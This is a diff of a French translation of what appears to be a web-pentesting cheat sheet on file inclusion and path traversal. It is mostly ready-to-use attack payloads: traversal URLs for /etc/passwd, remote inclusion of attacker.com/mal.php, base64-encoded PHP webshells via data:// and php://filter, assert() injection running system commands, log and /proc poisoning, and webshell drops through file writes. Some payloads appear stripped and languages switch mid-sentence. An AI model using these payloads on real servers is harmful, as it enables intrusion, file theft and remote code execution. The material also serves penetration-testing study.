http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` -Dans ces scénarios, le nombre de traversals nécessaires peut être d'environ 2027, mais ce nombre peut varier en fonction de la configuration du serveur. +Dans ces scénarios, le nombre de traversals nécessaires peut être d'environ 2027, mais ce chiffre peut varier en fonction de la configuration du serveur. -- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) combinées à des segments contenant des points supplémentaires et à d'autres caractères peuvent être utilisées pour naviguer dans le système de fichiers, en neutralisant effectivement les chaînes ajoutées par le serveur. -- **Determining the Required Number of Traversals**: Par essais et erreurs, on peut trouver le nombre précis de séquences `../` nécessaires pour atteindre la racine puis `/etc/passwd`, en s'assurant que toute chaîne ajoutée (comme `.php`) est neutralisée tout en conservant le chemin désiré (`/etc/passwd`). -- **Starting with a Fake Directory**: Il est courant de commencer le chemin par un répertoire inexistant (par exemple `a/`). Cette technique est utilisée comme mesure de précaution ou pour satisfaire les exigences de la logique d'analyse du chemin du serveur. +- **Utilisation de dot segments et de caractères supplémentaires** : Les séquences de traversal (`../`) combinées à des dot segments et à des caractères supplémentaires peuvent être utilisées pour parcourir le système de fichiers, en neutralisant efficacement les chaînes ajoutées par le serveur. +- **Déterminer le nombre de traversals requis** : Par essais et erreurs, on peut trouver le nombre précis de séquences `../` nécessaires pour atteindre la racine puis `/etc/passwd`, en s'assurant que toute chaîne ajoutée (comme `.php`) est neutralisée tout en conservant le chemin souhaité (`/etc/passwd`). +- **Commencer par un répertoire factice** : Il est courant de commencer le chemin par un répertoire inexistant (par exemple `a/`). Cette technique sert de précaution ou permet de satisfaire les exigences de la logique d'analyse du chemin du serveur. -Lors de l'utilisation de path truncation techniques, il est crucial de comprendre le comportement d'analyse des chemins du serveur et la structure du système de fichiers. Chaque scénario peut nécessiter une approche différente, et des tests sont souvent nécessaires pour trouver la méthode la plus efficace. +Lors de l'utilisation de techniques de troncature de chemin, il est crucial de comprendre le comportement d'analyse des chemins du serveur et la structure du système de fichiers. Chaque scénario peut nécessiter une approche différente, et des tests sont souvent nécessaires pour trouver la méthode la plus efficace. -**This vulnerability was corrected in PHP 5.3.** +**Cette vulnérabilité a été corrigée dans PHP 5.3.** -### **Filter bypass tricks** +### **Techniques de contournement de filtres** ``` http://example.com/index.php?page=....//....//etc/passwd http://example.com/index.php?page=..///////..////..//////etc/passwd @@ -146,45 +145,45 @@ http://example.com/index.php?page=PhP://filter ``` ## Remote File Inclusion -Dans php, ceci est désactivé par défaut parce que **`allow_url_include`** est **Off.** Il doit être **On** pour que cela fonctionne, et dans ce cas vous pourriez inclure un fichier PHP depuis votre serveur et obtenir RCE: +Dans php ceci est désactivé par défaut parce que **`allow_url_include`** est **Off.** Il doit être **On** pour que cela fonctionne, et dans ce cas vous pourriez inclure un fichier PHP depuis votre serveur et obtenir RCE: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` -Si, pour une raison quelconque, **`allow_url_include`** est **On**, mais PHP est **filtering** l’accès aux pages web externes, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), vous pouvez par exemple utiliser le protocole data avec base64 pour décoder un code PHP en b64 et egt RCE: +Si pour une raison quelconque **`allow_url_include`** est **On**, mais PHP est **filtering** l'accès aux pages web externes, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), vous pouvez par exemple utiliser le data protocol avec base64 pour décoder un code PHP b64 et egt RCE: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` > [!TIP] -> Dans le code précédent, le `+.txt` final a été ajouté parce que l'attaquant avait besoin d'une chaîne se terminant par `.txt`, donc la chaîne se termine par cela et après le décodage `b64` cette partie renverra simplement des données indésirables et le vrai code PHP sera inclus (et donc exécuté). - -Un autre exemple **n'utilisant pas le protocole `php://`** serait : +> Dans le code précédent, le `+.txt` final a été ajouté parce que l'attaquant avait besoin d'une chaîne se terminant par `.txt`, donc la chaîne se termine par cela et après le décodage b64 cette partie ne renverra que du junk et le véritable code PHP sera inclus (et donc exécuté). +> +> Un autre exemple **n'utilisant pas le protocole `php://`** serait : ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` -## Python élément racine +## Python Élément racine En Python, dans un code comme celui-ci : ```python # file_name is controlled by a user os.path.join(os.getcwd(), "public", file_name) ``` -Si l'utilisateur passe un **chemin absolu** à **`file_name`**, le **chemin précédent est simplement supprimé** : +Si l'utilisateur passe un **absolute path** à **`file_name`**, le **chemin précédent est simplement supprimé**: ```python os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' ``` C'est le comportement prévu selon [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): -> Si un composant est un chemin absolu, tous les composants précédents sont supprimés et l'assemblage continue à partir du composant de chemin absolu. +> Si un composant est un chemin absolu, tous les composants précédents sont ignorés et la jonction continue à partir du composant de chemin absolu. ## Java Liste des répertoires -Il semble que si vous avez un Path Traversal en Java et que vous **demandez un répertoire** au lieu d'un fichier, un **listing du répertoire est renvoyé**. Cela ne se produit pas dans d'autres langages (afaik). +Il semble que si vous avez un Path Traversal en Java et que vous **demandez un répertoire** au lieu d'un fichier, un **listing du répertoire est renvoyé**. Cela ne se produira pas dans d'autres langages (à ma connaissance). ## Top 25 paramètres -Voici la liste des 25 paramètres les plus susceptibles d'être vulnérables à local file inclusion (LFI) (from [link](https://twitter.com/trbughunters/status/1279768631845494787)): +Voici la liste des 25 principaux paramètres susceptibles d'être vulnérables aux local file inclusion (LFI) (d'après [link](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} @@ -212,38 +211,38 @@ Voici la liste des 25 paramètres les plus susceptibles d'être vulnérables à ?mod={payload} ?conf={payload} ``` -## LFI / RFI using PHP wrappers & protocols +## LFI / RFI utilisant les wrappers & protocoles PHP ### php://filter -Les filtres PHP permettent d'effectuer des opérations de **modification sur les données** avant qu'elles ne soient lues ou écrites. Il existe 5 catégories de filtres : +PHP filters permettent d'effectuer des **opérations de modification de base sur les données** avant qu'elles ne soient lues ou écrites. Il y a 5 catégories de filtres : - [String Filters](https://www.php.net/manual/en/filters.string.php): - `string.rot13` - `string.toupper` - `string.tolower` -- `string.strip_tags`: Retire les balises des données (tout ce qui est entre les caractères "<" et ">") -- Notez que ce filtre a disparu des versions modernes de PHP +- `string.strip_tags`: Remove tags from the data (everything between "<" and ">" chars) +- Note that this filter has disappear from the modern versions of PHP - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - `convert.base64-encode` - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` -- `convert.iconv.*` : Transforme vers un encodage différent (`convert.iconv..`). Pour obtenir la **liste de tous les encodages** pris en charge, exécutez dans la console : `iconv -l` +- `convert.iconv.*` : Transforms to a different encoding(`convert.iconv..`) . Pour obtenir la **liste de tous les encodages** pris en charge, exécutez dans la console : `iconv -l` > [!WARNING] -> En abusant du filtre de conversion `convert.iconv.*`, vous pouvez **générer du texte arbitraire**, ce qui peut être utile pour écrire du texte arbitraire ou faire en sorte qu'une fonction comme include traite du texte arbitraire. Pour plus d'infos, consultez [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). +> En abusant du filtre de conversion `convert.iconv.*` vous pouvez **générer du texte arbitraire**, ce qui peut être utile pour écrire du texte arbitraire ou faire en sorte qu'une fonction comme include traite du texte arbitraire. Pour plus d'infos consultez [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) -- `zlib.deflate`: Compresse le contenu (utile si vous exfiltrez beaucoup d'informations) +- `zlib.deflate`: Compresse le contenu (utile si exfiltrating beaucoup d'informations) - `zlib.inflate`: Décompresse les données - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) - `mcrypt.*` : Obsolète - `mdecrypt.*` : Obsolète - Other Filters -- En lançant dans php `var_dump(stream_get_filters());` vous pouvez trouver quelques **filtres inattendus** : +- Running in php `var_dump(stream_get_filters());` you can find a couple of **unexpected filters**: - `consumed` -- `dechunk`: inverse l'encodage chunked HTTP +- `dechunk`: reverses HTTP chunked encoding - `convert.*` ```php # String Filters @@ -272,38 +271,38 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient) ``` > [!WARNING] -> La partie "php://filter" n'est pas sensible à la casse +> La partie "php://filter" est insensible à la casse ### Utiliser php filters comme oracle pour lire des fichiers arbitraires -[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) est proposée une technique pour lire un fichier local sans que la sortie soit renvoyée par le serveur. Cette technique est basée sur une exfiltration booléenne du fichier (caractère par caractère) en utilisant les php filters comme oracle. En effet, les php filters peuvent être utilisés pour agrandir un texte suffisamment pour que php déclenche une exception. +[**Dans ce post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) est proposée une technique pour lire un fichier local sans que la sortie soit renvoyée par le serveur. Cette technique est basée sur une **boolean exfiltration of the file (char by char) using php filters** comme oracle. Ceci parce que php filters peuvent être utilisés pour agrandir un texte suffisamment pour provoquer une exception php. -Dans le post original vous trouverez une explication détaillée de la technique, mais voici un résumé rapide : +Dans l'article original vous trouverez une explication détaillée de la technique, mais voici un résumé rapide : - Utiliser le codec **`UCS-4LE`** pour laisser le caractère initial du texte au début et faire augmenter la taille de la chaîne de façon exponentielle. -- Cela permet de générer un **texte si volumineux lorsque la lettre initiale est correctement devinée** que php déclenchera une **erreur**. -- Le filtre **dechunk** **supprimera tout si le premier caractère n'est pas un hexadécimal**, donc on peut savoir si le premier caractère est hex. -- Ceci, combiné avec le précédent (et d'autres filters selon la lettre devinée), nous permettra de deviner une lettre au début du texte en voyant quand les transformations suffisent pour qu'elle ne soit plus un caractère hexadécimal. Car si c'est hex, dechunk ne la supprimera pas et la bombe initiale provoquera une erreur php. -- Le codec **convert.iconv.UNICODE.CP930** transforme chaque lettre en la suivante (donc après ce codec : a -> b). Cela nous permet de découvrir si la première lettre est un `a` par exemple car si on applique 6 fois ce codec a->b->c->d->e->f->g la lettre n'est plus un caractère hexadécimal, donc dechunk ne la supprime pas et l'erreur php est déclenchée parce qu'elle se multiplie avec la bombe initiale. -- En utilisant d'autres transformations comme **rot13** au début, il est possible de leak d'autres caractères comme n, o, p, q, r (et d'autres codecs peuvent être utilisés pour déplacer d'autres lettres dans la plage hex). -- Quand le caractère initial est un chiffre, il faut l'encoder en base64 et leak les 2 premières lettres pour leak le chiffre. -- Le problème final est de voir **comment leak plus que la lettre initiale**. En utilisant des filters d'ordre mémoire comme **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** il est possible de changer l'ordre des caractères et de mettre en première position d'autres lettres du texte. -- Et pour pouvoir obtenir des **données supplémentaires** l'idée est de **générer 2 octets de données junk au début** avec **convert.iconv.UTF16.UTF16**, appliquer **UCS-4LE** pour les faire **pivoter avec les 2 octets suivants**, et **supprimer les données jusqu'aux données junk** (cela supprimera les 2 premiers octets du texte initial). Continuer ainsi jusqu'à atteindre le bit désiré à leak. +- Cela sera utilisé pour générer un **texte tellement volumineux quand la lettre initiale est devinée correctement** que php déclenchera une **erreur** +- Le filtre **dechunk** **supprimera tout si le premier char n'est pas un hexadecimal**, donc on peut savoir si le premier char est hex. +- Cela, combiné avec le précédent (et d'autres filters dépendant de la lettre devinée), permettra de deviner une lettre en début de texte en observant quand on applique suffisamment de transformations pour qu'elle ne soit plus un caractère hexadécimal. Car si elle est hex, dechunk ne la supprime pas et la bombe initiale provoquera une erreur php. +- Le codec **convert.iconv.UNICODE.CP930** transforme chaque lettre en la suivante (donc après ce codec : a -> b). Cela permet de découvrir si la première lettre est un `a` par exemple parce que si on applique 6 fois ce codec a->b->c->d->e->f->g la lettre n'est plus un caractère hexadécimal, donc dechunk ne la supprime pas et l'erreur php est déclenchée car elle se multiplie avec la bombe initiale. +- En utilisant d'autres transformations comme **rot13** au début il est possible de leak d'autres chars comme n, o, p, q, r (et d'autres codecs peuvent être utilisés pour déplacer d'autres lettres dans la plage hex). +- Quand le caractère initial est un nombre il est nécessaire de base64 encoder et leak les 2 premières lettres pour leak le nombre. +- Le problème final est de voir **how to leak more than the initial letter**. En utilisant des filters d'ordre mémoire comme **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** il est possible de changer l'ordre des chars et de mettre en première position d'autres lettres du texte. +- Et afin de pouvoir obtenir **further data** l'idée est de **générer 2 bytes de junk data au début** avec **convert.iconv.UTF16.UTF16**, appliquer **UCS-4LE** pour le faire **pivot with the next 2 bytes**, et **supprimer les données jusqu'aux junk data** (cela supprimera les 2 premiers bytes du texte initial). Continuer ainsi jusqu'à atteindre le bit désiré à leak. -Dans le post un outil pour effectuer cela automatiquement a aussi été leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). +Dans le post, un outil pour effectuer cela automatiquement a aussi été leaked : [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). ### php://fd -Ce wrapper permet d'accéder aux descripteurs de fichiers que le processus a ouverts. Potentiellement utile pour exfiltrer le contenu de fichiers ouverts: +Ce wrapper permet d'accéder aux descripteurs de fichiers que le processus a ouverts. Potentially useful to exfiltrate the content of opened files: ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` -Vous pouvez aussi utiliser **php://stdin, php://stdout and php://stderr** pour accéder aux **descripteurs de fichier 0, 1 et 2** respectivement (je ne suis pas sûr de la façon dont cela pourrait être utile dans une attaque) +Vous pouvez également utiliser **php://stdin, php://stdout and php://stderr** pour accéder aux **file descriptors 0, 1 and 2** respectivement (je ne sais pas trop comment cela pourrait être utile dans une attaque) ### zip:// and rar:// -Téléversez un fichier Zip ou Rar contenant une PHPShell et accédez-y.\ +Téléversez un fichier Zip ou Rar contenant un PHPShell à l'intérieur et accédez-y.\ Pour pouvoir abuser du protocole rar, il **doit être activé spécifiquement**. ```bash echo "
" > payload.php; @@ -329,7 +328,7 @@ http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` -Notez que ce protocole est restreint par les configurations php **`allow_url_open`** et **`allow_url_include`** +Notez que ce protocole est restreint par les configurations PHP **`allow_url_open`** et **`allow_url_include`** ### expect:// @@ -340,13 +339,13 @@ http://example.com/index.php?page=expect://ls ``` ### input:// -Spécifiez votre payload dans les paramètres POST : +Spécifiez votre payload dans les paramètres POST: ```bash curl -XPOST "http://example.com/index.php?page=php://input" --data "" ``` ### phar:// -Un fichier `.phar` peut être utilisé pour exécuter du code PHP lorsqu'une application web utilise des fonctions telles que `include` pour le chargement de fichiers. Le snippet de code PHP fourni ci-dessous démontre la création d'un fichier `.phar` : +Un fichier `.phar` peut être utilisé pour exécuter du code PHP lorsqu'une application web utilise des fonctions telles que `include` pour le chargement de fichiers. L'extrait de code PHP ci-dessous montre la création d'un fichier `.phar` : ```php addFromString('test.txt', 'text'); $phar->setStub(''); $phar->stopBuffering(); ``` -Pour compiler le fichier `.phar`, exécutez la commande suivante : +Pour compiler le fichier `.phar`, la commande suivante doit être exécutée : ```bash php --define phar.readonly=0 create_path.php ``` -À l'exécution, un fichier nommé `test.phar` sera créé, ce qui pourrait potentiellement être exploité pour tirer parti de vulnérabilités de Local File Inclusion (LFI). +Lors de son exécution, un fichier nommé `test.phar` sera créé, qui pourrait potentiellement être utilisé pour exploiter des vulnérabilités Local File Inclusion (LFI). -Dans les cas où le LFI se contente de lire des fichiers sans exécuter le code PHP contenu, via des fonctions telles que `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()`, il est possible de tenter d'exploiter une vulnérabilité de désérialisation. Cette vulnérabilité est liée à la lecture de fichiers utilisant le protocole `phar`. +Dans les cas où la LFI ne fait que lire des fichiers sans exécuter le code PHP à l'intérieur, via des fonctions telles que `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()`, on peut tenter d'exploiter une vulnérabilité de désérialisation. Cette vulnérabilité est liée à la lecture de fichiers utilisant le protocole `phar`. For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below: @@ -374,32 +373,32 @@ phar-deserialization.md ### CVE-2024-2961 -Il a été possible d'abuser **de n'importe quelle lecture de fichier arbitraire depuis PHP qui supporte les php filters** pour obtenir un RCE. La description détaillée peut être [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ -Très rapide résumé : un **overflow de 3 bytes** dans le heap PHP a été exploité pour **altérer la chaîne de free chunks** d'une taille spécifique afin de pouvoir **écrire n'importe quoi à n'importe quelle adresse**, ainsi un hook a été ajouté pour appeler **`system`**.\ -Il a été possible d'allouer des chunks de tailles spécifiques en abusant davantage des php filters. +Il a été possible d'abuser **de n'importe quelle lecture de fichier arbitraire depuis PHP qui prend en charge php filters** pour obtenir une RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ +Résumé très rapide : un **débordement de 3 octets** dans le heap PHP a été exploité pour **altérer la chaîne de chunks libres** d'une taille spécifique afin de pouvoir **écrire n'importe quoi à n'importe quelle adresse**, donc un hook a été ajouté pour appeler **`system`**.\ +Il était possible d'allouer des chunks de tailles spécifiques en abusant d'autres php filters. -### More protocols +### Plus de protocoles -Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:** +Consultez d'autres[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:** - [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Écrire en mémoire ou dans un fichier temporaire (pas sûr de l'utilité dans une attaque d'inclusion de fichier) -- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accès au filesystem local +- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accès au système de fichiers local - [http://](https://www.php.net/manual/en/wrappers.http.php) — Accès aux URLs HTTP(s) - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accès aux URLs FTP(s) -- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams -- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trouver des chemins correspondant à un pattern (Ne renvoie rien d'imprimable, donc pas vraiment utile ici) +- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Flux de compression +- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trouver des chemins correspondant à un motif (Cela ne renvoie rien d'imprimable, donc pas vraiment utile ici) - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 - [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Flux audio (Pas utile pour lire des fichiers arbitraires) -## LFI via 'assert' de PHP +## LFI via PHP's 'assert' -Les risques de Local File Inclusion (LFI) en PHP sont particulièrement élevés lorsque la fonction 'assert' est utilisée, car elle peut exécuter du code contenu dans des chaînes. Cela devient problématique si une entrée contenant des séquences de remontée de répertoires comme ".." est vérifiée mais pas correctement assainie. +Les risques de Local File Inclusion (LFI) en PHP sont particulièrement élevés lorsqu'on manipule la fonction 'assert', qui peut exécuter du code contenu dans des chaînes. C'est particulièrement problématique si une entrée contenant des caractères de traversée de répertoire comme ".." est vérifiée mais pas correctement assainie. -Par exemple, un code PHP peut être conçu pour prévenir la traversée de répertoires comme suit : +Par exemple, du code PHP pourrait être conçu pour empêcher la traversée de répertoires ainsi : ```bash assert("strpos('$file', '..') === false") or die(""); ``` -Bien que cela vise à empêcher le traversal, cela crée involontairement un vecteur pour des attaques de code injection. Pour exploiter cela afin de lire le contenu des fichiers, un attacker pourrait utiliser : +Bien que cela vise à empêcher le traversal, cela crée involontairement un vecteur de code injection. Pour l'exploiter afin de lire le contenu d'un fichier, un attaquant pourrait utiliser : ```plaintext ' and die(highlight_file('/etc/passwd')) or ' ``` @@ -407,41 +406,41 @@ De même, pour exécuter des commandes système arbitraires, on peut utiliser : ```plaintext ' and die(system("id")) or ' ``` -Il est important de **URL-encode ces payloads**. +Il est important de **URL-encode these payloads**. ## PHP Blind Path Traversal > [!WARNING] -> Cette technique est pertinente dans les cas où vous **contrôlez** le **chemin du fichier** d'une **fonction PHP** qui va **accéder à un fichier** mais où vous ne verrez pas le contenu du fichier (comme un simple appel à **`file()`**) car le contenu n'est pas affiché. +> Cette technique est pertinente dans les cas où vous **contrôlez** le **file path** d'une **PHP function** qui va **access a file** mais dont vous ne verrez pas le contenu (comme un simple appel à **`file()`**) car le contenu n'est pas affiché. -Dans [**cet article incroyable**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) il est expliqué comment un blind path traversal peut être abusé via un filtre PHP pour **exfiltrer le contenu d'un fichier via un error oracle**. +In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**. -En résumé, la technique utilise l'encodage **"UCS-4LE"** pour rendre le contenu d'un fichier tellement **grand** que la **fonction PHP ouvrant** le fichier déclenchera une **erreur**. +En résumé, la technique utilise l'encodage **"UCS-4LE"** pour rendre le contenu d'un fichier tellement **big** que la **PHP function opening** le fichier déclenchera une **error**. -Ensuite, afin de leak le premier caractère, le filtre **`dechunk`** est utilisé avec d'autres comme **base64** ou **rot13** et enfin les filtres **convert.iconv.UCS-4.UCS-4LE** et **convert.iconv.UTF16.UTF-16BE** sont utilisés pour placer d'autres caractères au début et les leak. +Ensuite, pour leak the first char le filter **`dechunk`** est utilisé avec d'autres comme **base64** ou **rot13**, et enfin les filters **convert.iconv.UCS-4.UCS-4LE** et **convert.iconv.UTF16.UTF-16BE** sont utilisés pour **place other chars at the beggining and leak them**. **Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` -Pour les détails techniques, consultez l'article mentionné ! +For the technical details check the mentioned post! ## LFI2RCE ### Arbitrary File Write via Path Traversal (Webshell RCE) -Quand du code côté serveur qui ingère/télécharge des fichiers construit le chemin de destination en utilisant des données contrôlées par l'utilisateur (par ex., un nom de fichier ou une URL) sans canonicaliser ni valider, des segments `..` et des chemins absolus peuvent s'échapper du répertoire prévu et provoquer une écriture de fichier arbitraire. Si vous pouvez placer le payload dans un répertoire exposé sur le web, vous obtenez généralement une RCE non authentifiée en déposant un webshell. +When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell. Typical exploitation workflow: -- Identifier un primitive d'écriture dans un endpoint ou un background worker qui accepte un path/filename et écrit du contenu sur le disque (par ex., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.). -- Déterminer les répertoires exposés sur le web. Exemples courants : -- Apache/PHP: `/var/www/html/` -- Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` -- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` -- Concevoir un chemin de traversal qui sort du répertoire de stockage prévu vers le webroot, et inclure le contenu de votre webshell. -- Accéder via le navigateur au payload déposé et exécuter des commandes. +- Identifier un write primitive dans un endpoint ou background worker qui accepte un path/filename et écrit du contenu sur le disque (par ex., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.). +- Déterminer les répertoires exposés au web. Exemples courants : + - Apache/PHP: `/var/www/html/` + - Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` + - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` +- Créez un traversal path qui sort du répertoire de stockage prévu pour atteindre le webroot, et incluez votre contenu webshell. +- Accédez à la payload déposée et exécutez des commandes. Notes: -- Le service vulnérable qui effectue l'écriture peut écouter sur un port non-HTTP (par ex., un JMF XML listener sur TCP 4004). Le portail web principal (port différent) servira ensuite votre payload. -- Sur les stacks Java, ces écritures de fichiers sont souvent implémentées avec une simple concaténation `File`/`Paths`. L'absence de canonicalisation/allow-listing est la faille principale. +- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload. +- On Java stacks, these file writes are often implemented with simple `File`/`Paths` concatenation. Lack of canonicalisation/allow-listing is the core flaw. Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): ```xml @@ -467,26 +466,26 @@ in.transferTo(out); ``` -Mesures de durcissement qui empêchent cette classe de vulnérabilités : -- Résoudre vers un chemin canonique et vérifier qu'il est un descendant d'un répertoire de base autorisé. +Durcissement qui neutralise cette classe de bugs : +- Résoudre vers un chemin canonique et s'assurer qu'il est un descendant d'un répertoire de base allow-listed. - Rejeter tout chemin contenant `..`, des racines absolues, ou des lettres de lecteur ; préférer des noms de fichiers générés. -- Exécuter le processus d'écriture avec un compte à faibles privilèges et séparer les répertoires d'écriture des racines servies. +- Exécuter le writer sous un compte à faibles privilèges et séparer les répertoires d'écriture des racines servies. ## Remote File Inclusion -Expliqué précédemment, [**follow this link**](#remote-file-inclusion). +Explained previously, [**follow this link**](#remote-file-inclusion). -### Par le fichier de log Apache/Nginx +### Via Apache/Nginx log file -Si le serveur Apache ou Nginx est **vulnérable à LFI** via la fonction include, vous pouvez essayer d'accéder à **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, d'insérer dans le **user agent** ou dans un **paramètre GET** un php shell comme **``** puis d'inclure ce fichier +Si le serveur Apache ou Nginx est **vulnérable à LFI** dans la fonction include, vous pouvez essayer d'accéder à **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, placer dans le **user agent** ou dans un **GET parameter** une php shell comme **``** et inclure ce fichier > [!WARNING] -> Notez que **si vous utilisez des guillemets doubles** pour le shell au lieu de **guillemets simples**, les guillemets doubles seront modifiés pour la chaîne "_**quote;**_", **PHP renverra une erreur** et **rien d'autre ne sera exécuté**. +> Notez que **si vous utilisez des double quotes** pour le shell au lieu de **simple quotes**, les double quotes seront modifiées pour la chaîne "_**quote;**_", **PHP lèvera une erreur** et **rien d'autre ne sera exécuté**. > -> De plus, assurez-vous d'**écrire correctement le payload** sinon PHP générera une erreur à chaque tentative de chargement du fichier de log et vous n'aurez pas de seconde chance. +> De plus, assurez-vous **d'écrire correctement le payload** sinon PHP renverra une erreur à chaque tentative de chargement du fichier de logs et vous n'aurez pas de seconde opportunité. -Cela peut aussi être fait dans d'autres logs mais **faites attention,** le code à l'intérieur des logs peut être encodé en URL et cela pourrait détruire le Shell. L'en-tête **authorisation "basic"** contient "user:password" en Base64 et il est décodé dans les logs. Le PHPShell peut être inséré dans cet en-tête.\ -Autres chemins de logs possibles: +Cela peut également être fait dans d'autres logs mais **faites attention,** le code à l'intérieur des logs peut être URL encoded et cela peut détruire le Shell. L'en-tête **authorisation "basic"** contient "user:password" en Base64 et il est décodé dans les logs. Le PHPShell peut être inséré dans cet en-tête.\ +Other possible log paths: ```python /var/log/apache2/access.log /var/log/apache/access.log @@ -500,16 +499,16 @@ Autres chemins de logs possibles: ``` Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) -### Via Email +### Par email -**Envoyez un mail** à un compte interne (user@localhost) contenant votre PHP payload like `` et essayez d'inclure le mail de l'utilisateur avec un chemin comme **`/var/mail/`** ou **`/var/spool/mail/`** +**Envoyer un mail** à un compte interne (user@localhost) contenant votre payload PHP comme `` et essayez d'inclure le mail de l'utilisateur avec un chemin comme **`/var/mail/`** ou **`/var/spool/mail/`** -### Via /proc/\*/fd/\* +### Par /proc/\*/fd/\* -1. Upload un grand nombre de shells (par exemple : 100) -2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), avec $PID = PID du processus (peut être brute forced) et $FD le file descriptor (peut aussi être brute forced) +1. Upload beaucoup de shells (par exemple : 100) +2. Inclure [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), avec $PID = PID du processus (can be brute forced) et $FD le descripteur de fichier (can be brute forced too) -### Via /proc/self/environ +### Par /proc/self/environ Comme un fichier de log, envoyez le payload dans le User-Agent, il sera reflété dans le fichier /proc/self/environ ``` @@ -518,15 +517,15 @@ User-Agent: ``` ### Via upload -Si vous pouvez upload un fichier, injectez-y simplement le shell payload (e.g : `` ). +Si vous pouvez upload un fichier, injectez simplement le shell payload dedans (e.g : `` ). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` Pour que le fichier reste lisible, il est préférable d'injecter dans les métadonnées des images/doc/pdf -### Via téléversement d'un fichier ZIP +### Via Zip file upload -Téléversez un fichier ZIP contenant un PHP shell compressé et accédez à : +Téléversez un fichier ZIP contenant un PHP shell 